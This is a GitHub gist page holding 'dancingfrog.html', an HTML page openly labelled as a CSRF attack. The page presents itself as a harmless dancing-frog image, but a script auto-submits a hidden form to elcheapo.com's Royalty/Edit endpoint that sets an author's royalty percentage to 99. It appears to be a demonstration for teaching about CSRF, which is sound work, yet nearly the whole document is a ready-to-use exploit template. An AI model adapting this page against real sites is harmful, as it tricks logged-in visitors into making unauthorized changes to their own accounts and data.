Skip to content

Instantly share code, notes, and snippets.

@jkuemerle

jkuemerle/dancingfrog.html

Created August 8, 2012 14:28
Show Gist options

  • Select an option

    Learn more about clone URLs
  • Save jkuemerle/3295462 to your computer and use it in GitHub Desktop.

Select an option

Learn more about clone URLs
Save jkuemerle/3295462 to your computer and use it in GitHub Desktop.
Download ZIP
Dancing Frog Attack (exploits CSRF vulnerability)
Raw
dancingfrog.html
<html>
<head>
<title>Dancing Frog!!!</title>
</head>
<body>
<form name="evilform" method="post" action="http://elcheapo.com/Royalty/Edit">
<input type="hidden" id="RoyaltyPercent" name="RoyaltyPercent" type="text" value="99" />
<input id="AuthorID" name="AuthorID" type="hidden" value="213-46-8915" />
<input id="TitleID" name="TitleID" type="hidden" value="BU1032" />
</form>
<script type="text/javascript">
document.evilform.submit();
</script>
<h1>Check out this awesome dancing frog!!!</h1>
<img src="dancing-frog.gif">
</body>
</html>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment